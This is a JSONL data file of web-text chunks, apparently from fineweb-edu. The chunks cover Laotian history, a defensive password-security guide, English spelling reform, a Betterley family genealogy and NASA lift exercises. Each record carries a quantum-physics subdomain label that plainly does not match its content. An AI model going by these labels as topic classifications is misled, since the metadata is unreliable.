12th century, the lao moved into the area that is now laos, peacefully settling among the inhabitants. these native peoples included the descendants of dark - skinned aborigines and of malay - indonesians, who had arrived there between 500 b. c. and 500 a. d. in 1353 fa ngoun united a number of small principalities along the mekong river into the kingdom of lan xang. its capital was louangphrabang. at about this time, theravada buddhism was made the state religion. lan xang prospered during the late 14th and early 15th centuries, but then was wracked successively by internal dissension and wars with neighboring countries. early in the 18th century, it split into the kingdoms of louangphrabang in the north, vientiane in the center, and champassak in the south. wars against siam, burma, annam, and china followed. in 1828 vientiane was conquered by the siamese, and louangphrabang and champassak soon fell under the influence of their neighbors. france began to penetrate indochina in 1858. in 1893 the french expelled the siamese from laotian territory. by 1904 france had reunited the region, given it the name laos, and made it a french protectorate. france ruled the country until indochina was overrun by the japanese in 1941. in 1946 french control was reestablished. the head of the ruling family of louangphrabang, which had been allowed to retain its royal prerogatives under the french, was made king of laos. laos became independent within the french union in 1949 and the country achieved complete independence in 1953. communist north vietnamese invaded northern laos in 1953 but withdrew the next year as a result of an agreement reached at the 1954 geneva conference. fighting in the north between government forces and laotian communist rebels, called pathet lao, followed. the head of the pathet lao was prince souphanouvong. his half - brother, prince souvanna phouma \u2014 who was premier 1951 \u2013 54, 1956 \u2013 58, 1960, and 1962 \u2013 75 \u2014 made many attempts to establish a coalition government with the pathet lao while waging almost continuous war against them. the united states, fearing a communist takeover of the country, supplied much military and economic aid. a cease - fire was arranged in 1961. the united states and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42283122458513456, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.884361"} {"text": "establish a coalition government with the pathet lao while waging almost continuous war against them. the united states, fearing a communist takeover of the country, supplied much military and economic aid. a cease - fire was arranged in 1961. the united states and other world powers met in geneva, switzerland, and in 1962 agreed to guarantee laotian neutrality. a coalition government composed of the rival rightist, neutralist, and communist factions was formed. the pathet lao soon withdrew from the coalition. with the help of the north vietnamese, the pathet lao seized large portions of the country. the united states organized and supported private tribal and thai armies to resist the communists. during the vietnamese war ( 1957 \u2013 75 ), fighting between the vietnamese communists and the allied forces often spread into laos. in 1973 a peace agreement was signed between the laotian government and the pathet lao. a coalition of rightists, neutralists, and communists was formed in 1974 with souvanna phouma remaining as premier. however, in 1975, after neighboring cambodia and south vietnam fell to the communists, the pathet lao expelled all rightists and neutralists from the government and seized control of the entire country. the monarchy was abolished and a communist regime established in its place. souphanouvong became the country ' s first president ; he held the post until 1986. laos made economic reforms in the early 1990 ' s, allowing the creation of a very limited free market. it was admitted to the association of southeast asian nations in 1997.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4433115260033836, "token_count": 307, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.885131"} {"text": "password policy guidelines this document introduces the basic concepts of network authentication. in particular, it focuses on the use of login ids and passwords to verify the identity of users. various strategies for selecting strong, hard - to - guess passwords are then discussed. the role of passwords in authentication most shared computer systems limit access to data and resources, based on the identity of users who request that access. access control is therefore dependent on reliable user identification. authentication is the process of identifying users in a manner which makes it difficult for one user to impersonate another. a number of technologies are available for user authentication. the most popular authentication systems are : - secret passwords. - cryptographic certificates. - smart cards. - biometric devices ( fingerprints, retina scans, head scans, etc. ). since they are the least expensive to implement, most systems rely on passwords to authenticate users. as well, passwords are often used in addition to physical or cryptographic proofs of identity to further strengthen security. threats to password security a typical case involves a malicious user ( m ) trying to access a network resource for which m is not authorized. one of the easiest ways for m to access that network resource is to guess the password of a valid user ( v ). there are several methods that m could use to guess v ' s password. first, m could use a computer program to try out possible values for v ' s password very quickly. m could also acquire v ' s password by watching as v enters it. m could literally watch v typing, or could use electronic means, such as installing software on v ' s computer to record his keystrokes, or installing a network analyzer to monitor v ' s keystrokes as they are transmitted over the network. making passwords hard to guess the responsibility of selecting a password that is hard to guess generally falls to users, like v. if users choose a one - character password, and that character could be any uppercase letter, lowercase letter or digit, then there would be 62 possible passwords. clearly, m could try all 62 possibilities very quickly. v could make his / her password harder to guess by using more characters. using the same possible characters, there are 3844 possible two - character passwords, and 218340105584896 ( about 218 trillion ) 8 - character passwords. even if m could try out 5000 eight - character passwords per second, it would take, on average, 700 years for m to", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.6073510413669514, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.890059"} {"text": "( by a packet sniffer program ), or on the server he is accessing ( by a trojan horse program ). to protect the user ' s workstation, a strong operating system must be installed, such as unix or windows nt. furthermore, the workstation must be physically secured against tampering. if an operating system without security features is used ( such as dos, windows or macos ), then an intruder only needs temporary physical access to the console to insert a keyboard monitor program. if the workstation is not physically secured, then an intruder can reboot even a secure operating system, restart the workstation from his own media, and insert the offending program. to protect against network analysis attacks, both the workstation and server should be cryptographically secured. examples of strong protocols are the encrypted netware login and kerberos. some systems ( like the windows nt file server protocol - - smb or cifs ) make an attempt at cryptography, but are easily defeated by cryptanalysis. systems that make no effort to encrypt remote access sessions, such as mainframes and unix hosts, can be trivially compromised by a network analyzer. finally, to protect against trojan horse login programs, the server should be physically secured, closely monitored, and should automatically log off unattended sessions.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5926533446676907, "token_count": 275, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.891776"} {"text": "a major problem for improving english spelling is that hundreds of amateurs have invented schemes to make their own sound - symbol correspondences regardless of the fact that present english spelling holds a tremendous amount of the world ' s print, past and present. these schemes scare off everybody else, to think that spelling reform must be hare - brained and impossible. any reform to be practicable must be a simple modification of what we have already - until there is some breakthru to a writing system that can cross languages - like chinese but without its problems. here are some criteria for practicable reform. practical improvement of english spelling the ideal writing system would cross languages and meet all needs for reading, writing and learning. this breakthrough has not yet been invented. what is possible now our present spelling can be made more user - frendly and efficient internationally than it is now. learners could then ' teach themselves to read ' using audiovisual tecnology - which is not fully feasible with present spelling as it is. in the present fluid state of language and the internet, spelling improvements can be introduced in the same way as changes in the spoken language, by changes in common practice. these can also be tested on the internet, so that no proposal is taken up simply because it seems fine in theory. then an international english language commission can standardise and authorise the most new characters are not yet posibl for everyday use that would allow one - sound - one - symbol correspondence for the 40 + sounds in english speech. this probably has to wait until the querty querty keyboard is overtaken by progress. however it is posibl to hav a practicabl spelling reform would meet all the common objections to improving english spelling - the status quo is the underlying reason for all opposition to all modifications of a writing system. english spelling is still regarded as a totem rather than as an instrument for comunication. yet spelling is not the english language - it is a means to communicate the language. however, once a change is made and found to be better, the new status quo is preferred - as with other reforms around the world that were originally resisted - such as the recent official reforms in germany. - it is not true that the interests of readers, writers, learners and computers are so conflicting that any reform that helps one group must hurt another. challengeable arguments and assumptions underlie these claims ( see part 2 ). an improved spelling can be designed to meet their different interests and their common interests too. communication. a", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.49339497712024605, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.903683"} {"text": "computers are so conflicting that any reform that helps one group must hurt another. challengeable arguments and assumptions underlie these claims ( see part 2 ). an improved spelling can be designed to meet their different interests and their common interests too. communication. a standardised updated english spelling would be internationally more efficient for communication rather than more divisive - unlike ' spelling as you speak ' reform. - access to our heritage of print can be maintained. ' fastr spelling ' is backward compatibl with present spelling, and is even often closer to the spelling of chaucer than the present. it can be read on first sight. it keeps a close visual resemblance to present english spelling and up to 95 % of letters in text remain unchanged - present readers need no extra training to read or spell. transitions would be phased in as alternatives for present spelling, accepted in dictionaries, as many changes are already being accepted. - ' fastr spelling ' is not ' spelling as you speak ' which would lead to a confusion of idiosyncratic spellings and dialects. most people, including most spelling reformers, assume that any spelling reform must be ' spelling as you speak ', regardless of other overseas models of writing systems. ' fastr spelling ' transcends the problems of dialects, because it makes a standardised broad - band ' diafonic ' representation of speech. spelling conventions are like conventionalised drawings which are universally recognised, for example, a stick - figure man which is unlike a photograph of a specific man. one broad sound category can ' embrace all those different phonemes ( speech sounds ) from which a listener is able to identify and comprehend a word, in however many regional and individual pronunciations it may be spoken. ' ( pitman & st. john 1969. ) the principles of ' fastr spelling ' are consistent, clear and simple, as with italian and spanish spelling. an example of this in practice is how english words are respelt in pidgin englishes - uncluttered and ' broad - band ' to facilitate fast learning and easy comunication by the masses. another example is how anyone can read or spell banana, regardless of their own dialect, although the one simpl spelling ' a ' is used for three speech sounds. to respell it with closer phonics such as bannaana would advantage noone except - ' chomsky principles ' for optimum spelling are extended, not disregarded. visual relationships of word families ( morphemes ) and grammatical markers are", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.5014689399636876, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.910873"} {"text": "than what is obsolete etymology is retained in fastr spelling when it gives clues to meanin, but not when it is a mere antiquarian interest better catered for in dictionaries, as other languages use dictionaries. nobody wants to have the history of their cars, computers or space rockets built into their dashboards and keyboards permanently - but they like reading about them ' i worked hard to spell, so everyone difficult english spelling has been valued as a social screening test that sorts out people, and keeps off competition on the ladder to success. but today we need efficiency, mass literacy and cutting waste more than we need an elite. english spelling snobbery was given by the swedish sociologist veblen as a conspicuous example of wasteful ' conspicuous consumption '. ' not in my time, o do not worry. the spelling changes recommended here can co - exist and mix with present spelling. traditionalists can continue to read and write in present spelling. they can read fastr spelling with ease, but need never write it themselves. quibbles such as how to re - spell mauve or calf do not justify mothballing reform yet again, for a ha ' porth of tar. some posers are soluble by pronouncing them as they are spelt - as happens already among those ' not in the know '. until a finalised reform, a few minor ' exception ' spellings can remain as temporary concessions for current readers and no major problem for new back to spelling index page back to ozideas home page", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4941507170416788, "token_count": 311, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.924217"} {"text": "back : amanda v. ( rose ) inabnit, ernest o. betterley, mary p. ( bishop ) blair, alfred h. betterley, lucy e. longsdorf, elmer g. betterley, benjamin j. betterley front : frank s. betterley, lucy m. ( green ) betterley, frank o. betterley, otis v. betterley [ photo courtesy of geneva thoner ] betterley or betterly? the dictionary of american family names from oxford university press defines betterley as \" english : probably a variant of betteley, from a place called betley, of which there is one in staffordshire and another in sussex, the former being named from an old english female personal name bette + leah \u2018 woodland clearing \u2019. \" an entry in the new dictionary of american family names by elsdon c. smith defines it as \" one who comes from bitterley ( glade where butter was made ), in shropshire \". ric betterly told me that the betterleys came from the village of betters that was located on the outskirts of london. the name betters ley would mean the village of betters. betterley or betterly? take your pick. early american references used both spellings, and subsequent generations appear to sometimes have used the spelling alternate to that used by their forebears. a grave marker might have the spelling alternate to that used by the person in life. documents written in one ' s own hand can show how that person spelled his / her own name, but documents written by scribes or officials may use their own spelling choice. one rule genealogists should get used to is that there is no \" correct \" spelling. however, both spelling and pronunciation become very personal issues. for example, when a road near the betterley homestead in vermont is named betterly road, even though that family used the \" betterley \" spelling for many generations. occurrences of the name in england world family tree by br\u00f8derbund shows richard betterley being married to cecilia seymour, who was born about 1337 and died in 1369 at burford, shropshire. the agincourt honor roll shows that john bitterlee and two men named richard bytterley fought for the english as they defeated the french at the battle of agincourt in france in 1415. this was during the hundred years ' war, some fourteen years before the rise of joan of arc. there are several entries for the name in the british isles igi. there is also a bible", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4215520219072168, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.953676"} {"text": "battle of agincourt in france in 1415. this was during the hundred years ' war, some fourteen years before the rise of joan of arc. there are several entries for the name in the british isles igi. there is also a bible transcription that was apparently found for an 18th century english family. we have not yet determined where our immigrant forefather came from in england, or even exactly who our immigrant forefather was. in early america there are numerous theories as to the arrival of the family in america. i have no proof to enhance any of them : the history of brookline, new hampshire indicates that the early betterley family history is sketchy but states that \" three brothers arrived in america in the early 18th century \". [ the \" three brothers \" story is one of the most common themes in genealogy and is most probably a myth. ] jack betterly of troy, ny heard that \" thomas betterley arrived at about the age of eighteen months with his mother, elizabeth. \" this could very well have been before 1700. [ this is the version least contradicted by my research. ] ric betterly ' s grandparents and the plain speaker of hazleton, pa say that \" there were two brothers who were advisors to the king and left his service to emigrate to america. where they landed is not recorded. eventually one brother settled in the area of cartersville ( st. john ' s ), pa. the other settled in the michigan area. \" [ i ' m guessing that these brothers were actually a later generation descended from william betterley of pennsylvania, though there could very well have been two earlier brothers that emigrated. ] elizabeth betterley heard this more detailed version of the above after it was passed down from her great - granduncle. \" thomas betterley, born 17 nov 1723 died 28 jul 1775 in boston, and his brother william, who went to pennsylvania and settled there, came over from england in 1772 on a cattle ship. on the way the ship began to leak and for fear it might sink they killed some of the cattle and these boys then about 16 years old tried? out the ( tallow? ) for 1 / 2 of its value and threw the meat overboard, but not a ( divil? ) of a bit did they get. \" [ i believe this thomas to actually have been the father of this william. there were also sons thomas in vermont and george in new hampshire. ] there ' s a thomas betterley that appears in chowan co, nc colonial census", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.41409743672477456, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.955030"} {"text": "they get. \" [ i believe this thomas to actually have been the father of this william. there were also sons thomas in vermont and george in new hampshire. ] there ' s a thomas betterley that appears in chowan co, nc colonial census records in 1717 and 1721. north carolina historical and genealogical review volume 1 shows john ballard, with the consent of his former master, henry whittens of boston in new england, agreeing to serve thomas betterley for 5 years and one month from the date 3 jan 1717. this led betterley researcher esther mott to search the north carolina colonial court records. they showed that thomas betterley, as justice of the peace for chowan precinct, was assaulted and had his life threatened by a thomas bray on 16 mar 1720. these records also indicate that thomas betterley was among those rioting at the house of the governor on 2 jul 1728, when the crowd attacked a servant of the governor and \" broke his head \". there were many other references as well to him in land and court records from 1716 until he died in june of 1729. his will was found, as were proceedings concerning a land dispute between his estate and the alden family. we knew that this was our thomas betterley, listed as both feltmaker and haberdasher in edenton, chowan county, north carolina. cavaliers and pioneers : abstracts of virginia land patents and grants volume three 1695 - 1732 by neil marion nugent shows fran betterly mentioned in virginia in 1698. esther mott uncovered a link to the document. \" ffran betterly \" is written way at the bottom. i guess that ' s how they wrote a capital \" f \". we assume there is a link to thomas betterley in nearby north carolina. we are very interested in learning what that link is. the marriage index : massachusetts, 1633 - 1850 ( ftm cd 231 ) shows that this first thomas betterley married elizabeth alden ( great granddaughter of john and priscilla alden ) on 26 jul 1720 at king ' s chapel in boston, ma. mayflower deeds and probates shows an elizabeth betterley as heir and descendant of john alden, jr. i ' ve found thus far that all betterleys that can trace their family to colonial america can trace it to thomas betterley and elizabeth alden. we don ' t know if elizabeth ever left boston, or if perhaps she returned to boston to have her son and then for good after thomas died. we assume that thomas was buried in edenton, nc", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3922513679708028, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.957825"} {"text": "to thomas betterley and elizabeth alden. we don ' t know if elizabeth ever left boston, or if perhaps she returned to boston to have her son and then for good after thomas died. we assume that thomas was buried in edenton, nc. mayflower births and deaths, vol. 1 shows thomas betterly, b. 17 nov 1723 in boston, ma, as the son of thomas and elizabeth betterly. the suffolk vr cd - rom from search and research lists his marriage to elizabeth carson on 6 apr 1749 in boston, ma. the published inscription from the thomas betterley bible in vermont indicates that the father of thomas was really named william, but that might be a mistake due to thomas being only five years old when his father died in north carolina. thomas is said to have died on 28 jul 1775, followed by his wife on 7 aug 1775, both being buried the same day. one is, of course, struck with the unlikeliness of a delay of over eleven days from death to burial in the height of summer before the days of embalming or a refrigerated morgue. the thomas betterley bible transcription does seem to indicate that the year of thomas ' death was hard to read and seemed to actually be 1774. thomas was the father of two daughters named elizabeth. the first that died young was perhaps by an earlier woman named elizabeth mecaslan that some speculate was his betrothed but not his wife. i have seen birth years of 1749 and 1750 for this daughter. thomas then married elizabeth carson from scotland in 1749, indicating that she was instead the mother of the first daughter. two sons served from worcester, ma during the revolutionary war. they were thomas, who moved to newfane twp, windham co, vt, and william, who moved to sugarloaf / butler twp, luzerne co, pa. another son, george, moved to woodstock, vt and then brookline, nh. these children are documented in family bibles owned by mrs. robert dunklee, late of brattleboro, vt. geoffrey and patrick dahling at graves of 6th gr - grandparents, thomas betterley 1751 - 1836 and lydia ( warren ) betterley 1752 - 1839. betterley cemetery near newfane, vermont. [ photo by loren dahling ] see who is buried at the betterley cemetery on lost mile rd in newfane twp, windham co, vt. see the betterleys and relatives buried at porcupine cemetery, frank", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.36189467555764954, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.959160"} {"text": ". [ photo by loren dahling ] see who is buried at the betterley cemetery on lost mile rd in newfane twp, windham co, vt. see the betterleys and relatives buried at porcupine cemetery, frankfort twp, pepin co, wi. read about revolutionary war wagoner thomas betterley and his vermont family. take a look at our photos of the betterley homestead. are you interested in seeing a video about it? the robb family farm is still owned by descendants of their grandson. did william carson betterley, later of pennsylvania, serve under george washington at valley forge, or did he again serve during the war of 1812? was his wife also an \" enlisted man \", and did she cook for general washington? pension records make no mention of these things. do you know? george betterley was too young to serve during the revolution, but he later moved to vermont and then new hampshire. read about the three wives of alfred w. betterley of new york, and later of minnesota and wisconsin. he was a grandson of revolutionary war soldier thomas betterley. the obituary of charles c. betterly, witness to the murder of abraham lincoln and member of his honor guard. he was a great grandson of revolutionary war soldier william carson betterley. in memory of... timothy d. betterly lost his life when terrorists destroyed the world trade center in new york on 11 sep 2001. a resident of little silver, nj and a bond trader for cantor fitzgerald, he was 42 years old and the son of donald a. betterly. he is survived by wife joanne and daughters samantha and christine. back in high school, timothy invited a mentally handicapped girl who always ate alone to eat with the football players, something she did for the next two years. this is only one of many tributes to this fine man. we are proud that he bore the betterly name. was a fictional betterley ever the subject of a tv program? i don ' t know if any of you remember the 1959 crime drama, lock - up, starring macdonald carey and featuring the talents of guests like mary tyler moore, lon chaney, leonard nimoy, and burt reynolds. one episode was called the case of willie betterly. i was surprised to find this video advertised on the internet. view the gedcom. got a betterley question? visit the betterley surname board. fact or fiction? can you disprove these assumptions? marge howe found a list of the children", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3964753565110799, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.960411"} {"text": "was surprised to find this video advertised on the internet. view the gedcom. got a betterley question? visit the betterley surname board. fact or fiction? can you disprove these assumptions? marge howe found a list of the children of thomas and lydia ( warren ) betterley of newfane, vt at the brooks memorial library in brattleboro. it stated that daughter lucy married rhodes gardner and that daughter betsey married his brother, philip gardner. i found son george betterley in the otsego co, ny census living in laurens in 1840 and milford in 1850. i then found what seems to indicate that lucy, betsey, and their husbands also lived in otsego county. the 1850 census for laurens lists philip ( born about 1777 in rhode island ) and elizabeth ( born about 1780 in massachusetts ) gardner. the betterley family moved from massachusetts to vermont in about 1780, so this could be our betsey who fills in a gap in the betterley children birth years. the 1860 census for new lisbon lists rhodes ( born about 1784 in vermont ) and lucy ( born about 1785 in new york ) gardner. perhaps the birth place for lucy is listed incorrectly. she also fills in a gap in the betterley children birth years. also, several of the children i later discovered have names found amongst the children of thomas and lydia betterley. joan emery then informed me that rhodes gardner of otsego county was married to lucy butterley. sounds interesting, doesn ' t it? i then found rhodes ( died 1866 age 81 ), lucy ( died 1869 age 84 ), philip ( died 1858 age 80 ), and betsey ( died 1860 age 81 ) gardner listed on nygenweb as being buried in mt. vision cemetery of laurens twp. phillip ( 28 may 1777 ) and rhoads ( 2 apr 1784 ) are listed in the igi as sons of joseph and judith gardner of pownal twp, bennington co, vt. that is very close to newfane twp, windham co, vt. there is also a rhodes gardner of seneca, ny listed in the igi as born 12 mar 1784 and married to lucy abt 1807. it appears to be the same rhodes, so there is some confusion about his birth date. i am convinced that i have found my betterley / gardner connection, though you should rightfully consider these as very strong clues rather than hard fact. the name combinations, birth years, and birth places seem more than", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40465939419123537, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.961323"} {"text": "some confusion about his birth date. i am convinced that i have found my betterley / gardner connection, though you should rightfully consider these as very strong clues rather than hard fact. the name combinations, birth years, and birth places seem more than coincidental. so does the fact that george betterley moved to the same county. perhaps the betterley girls married the gardner boys in vermont before moving to new york. younger brother george later followed them to new york after his marriage in vermont. another investigation revealed that george betterley ( 1790 - 1858 ) and dimmis whipple ( 1792 - 1864 ) of windham co, vt and then otsego co, ny had at least ten children if census records are to be believed : - george warren betterley ( abt1815 - 1886 ) - john whipple betterley ( abt1818 - bef1857 ) - son betterley ( b. 1816 - 1820 - samuel in ontario? see below. ) - daughter betterley ( b. 1816 - 1820, d. unk ) - alfred w. betterley ( 1824 - 1880 ) - son betterley ( b. 1821 - 1825, d. unk ) - laura c. betterley ( 1827 - 1860 ) married timothy crandall - lydia rozetta betterley ( abt1828 - 1867 ) married william oles - lucy m. betterley ( abt1833 - unk ) married john youmans - william ward betterley ( 1835 - bef1899 ) george warren betterley is listed in cemetery records as a son of george and dimmis. he was living near his father in laurens in 1840. his third child was listed as being born in stockbridge, ny in 1842. by 1850 he was living with his uncle, thomas betterley, in vermont. john whipple betterley was farming in otsego in 1850. by 1857 his wife, matilda, was listed alone in land records. alfred has long been considered a son. he was farming in milford in 1850 and named his first two children george and dimmis. the two unnamed sons are indicated in pre - 1850 census records. a crandall history lists laura as having married timothy crandall, brother of the first two wives of alfred betterley. they were farming in milford in 1850. i assume she is a daughter, because dimmis betterley was living with them in 1860 after george died. the igi lists lydia rozetta betterley as a relative of emeline whipple", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4332074145911259, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.964892"} {"text": ". they were farming in milford in 1850. i assume she is a daughter, because dimmis betterley was living with them in 1860 after george died. the igi lists lydia rozetta betterley as a relative of emeline whipple, youngest sister of dimmis whipple. i assume she was a daughter and married william oles. myron, a son of william and lydia oles, is buried right next to mary ( crandall ) betterley, first wife of alfred, and very near george betterley in the milford, ny churchyard. william and lydia oles and their family moved to wisconsin, and lydia died in 1868 and is buried at the first belmont ( or kent ) cemetery in belmont twp, portage co, wi on county - d about two miles south of blaine corners. lucy and william were children living with george and dimmis betterley in 1850. i assume lucy married john youmans. first, george betterley was owed money by alfred betterley and john youmans when he died. there was a john youmans of about the right age in the 1850 census. lucy youmans was living with dimmis betterley and timothy and laura crandall in 1860, so her husband may have died by then. i ' ve been working on a canadian connection, and my canadian sources have been limited to what i can find online. there is a betterley presence in elgin, ontario, canada. i speculate that the first betterley there was the 3rd son of george and dimmis betterley of newfane, born about 1821. the lds site indicates a samuel betterley born about 1818 newfane, windham, vt. at least the oldest son above was born in newfane before the move to new york, and we can disregard a couple of other well - documented people in newfane named samuel betterley. they were george ' s uncle and cousin. there was a samuel betterley in the 1850 census, age 29 and living with a robinson family, in hardwick, worcester, ma. then the following samuel in the 1860 census for ashtabula, ashtabula, oh : - betterly, samuel 40 m mason b. vt - christianna 27 f ny - fanny j. 7 f ny - william 5 m ny - mary 1 f ny the age for the 1860 oh entry coincides with the age for the 1850 ma entry. i found no us census entries after that for a samuel of the right age. phylicia salisbury found this entry", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44012347966104237, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.968767"} {"text": "william 5 m ny - mary 1 f ny the age for the 1860 oh entry coincides with the age for the 1850 ma entry. i found no us census entries after that for a samuel of the right age. phylicia salisbury found this entry : - convicted at elgin co, on of receiving surgeon ' s report facts - betterley samuel - died 6 dec 1882 of dysentery at age 70 - birth place : can i believe that his birthplace of canada is suspect. this is what got me going on the canadian link, and i did verify samuel ' s death record online. i found this 1871 census for malahide, east elgin, ontario. all were born in the us, and their origin is german : - betterly, samuell 44 m carpenter - hannah 38 f - fanny 18 f - willie 16 m - mary 14 f - john 11 m - simeon 6 m - george 2 m - sarah 7m f this is the family from ohio. this time the mistake is with the family being of german origin as well as with samuel ' s age. we will see later why christianne could be hannah. then an 1881 canadian census entry for yarmouth, elgin east, ontario. this indicates the same age as the 1860 ohio census, and this time the family is of english origin. all were born in the us except children george and laura in ontario : - samuel betterley 60 m farm labourer married - hannah betterley 49 f married - simeon betterley 16 m - george betterley 14 m - laura betterley 8 f this would be one year before the death of samuel betterley at kingston penetentiary. hannah was living with just daughter laura in malahide in 1891 and then in windsor with daughter fanny and husband in 1901. here is the complete list of children that i ' ve found for samuel and hannah : - fanny j. betterley b. abt 1853 mar. jacob henry wismer ( mar. to peter mettler by 1901 ) - william betterley b. abt 1855 mar. mary caswell - mary betterley b. abt 1859 mar. melvin matthews - john betterley b. abt 1860 mar. augusta a. strong - simeon betterley b. abt 1865 - george betterley b. abt 1869 mar. annie taylor - sarah betterley b. abt 1871 ( died by 1881? ) - laura betterley b. abt 1873 ( died after 1891 ) fanny ' s marriage record shows parents as samuel james betterley and hannah betterley. george ' s", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3534187908526687, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.970908"} {"text": "taylor - sarah betterley b. abt 1871 ( died by 1881? ) - laura betterley b. abt 1873 ( died after 1891 ) fanny ' s marriage record shows parents as samuel james betterley and hannah betterley. george ' s shows nathaniel and hannah, so that was wrong. john ' s shows samuel j. batterley and hannah j. richmond. i did find hannah richmond in maryland twp, otsego co, ny in 1850 : - richmond, ethan 67 m pauper - nancy 55 f - hannah c. 17 f i found a family tree that points to this being ethan allen richmond b. 1786 and second wife nancy ross wright. his first wife was martha catlin. ethan was the son of sylvester richmond and harriet covell / covill. those trees that list his second marriage list the daughter born in 1833 as christina. finding hannah c. in 1850, christianne in 1860, and then hannah from then on makes a lot of sense. d. wakeling, whom i ' ve been unable to contact, wrote : \" we have betterley ' s in our tree. came to canada late 1800. settled in elgin county, ontario. we have a george who married a anna taylor. george ' s parents were sam betterley married to hannah adams. the above info was in my grandmotbhers bible. sam died in kingston penetury have not found why he was there. it seems like geo disowned his father if that is who he was. any info appreciated \" i think \" late 1800s \" is what was meant. i had seen this early on, and \" adams \" threw me off for a while until i later ran across richmond. i could find no hannah adams b. abt 1833 in otsego co, ny. lots of interesting clues, and you may agree that my speculation is logical. i think i am on the right track. is there anything more anybody can add? i ' d love to hear from any descendants of this family that read this. there are actually two descendants of the canadian betterley family that i have found on the internet and been unable to contact. one more mystery for now. who was abijah w. betterley? he was a single laborer from newfane that was listed in the census for the vermont asylum for the insane ( aka brattleboro retreat ) in brattleboro from 1850 until his death there 29 sep 1892 at age 82. the asylum had been started in 1834 and instituted a more humane program", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4483427139229541, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.971835"} {"text": "that was listed in the census for the vermont asylum for the insane ( aka brattleboro retreat ) in brattleboro from 1850 until his death there 29 sep 1892 at age 82. the asylum had been started in 1834 and instituted a more humane program than what was predominant in those days. abijah is buried in the asylum cemetery. rumor has it that a great many of the deceased residents were buried together in single graves without markers. there is also a hannah betterley that was at the asylum in the 1850 census, a year younger than abijah. i am guessing that abijah was perhaps a child of thomas betterley, jr. and hannah rogers. perhaps the same for hannah. have you seen anything that can pinpoint their parents? i am always looking for corrections and new betterley info. if you ' re a betterley or betterly without an ancestor in my database, please send me your info to keep on file. chances are we ' ll work it out sooner or later. the alsace emigration book vol 1 by cornelia schrader - muggenthaler shows joseph betterly, wife, and family in texas in 1854. does anybody know who this is? e - mail loren dahling sources of my betterley data are available upon request copyright \u00a9 1999 - 2010 loren p. dahling. all rights reserved.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4549388110408754, "token_count": 272, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.972550"} {"text": "go to http : / / www. grc. nasa. gov / www / k - 12 / airplane / vel. html and use the simulator to determine the effect of airspeed on lift. when you double the airspeed, what happens to lift. the velocity used in the lift and drag equations is the relative velocity between an object and the flow. since the aerodynamic force depends on the square of the velocity, doubling the velocity will quadruple the lift and drag. go to http : / / www. grc. nasa. gov / www / k - 12 / airplane / incline. html and use the simulator to determine the effect of angle of attack on lift. when you increase the angle of attack, what happens to lift. lift increases as the angle of attack increases 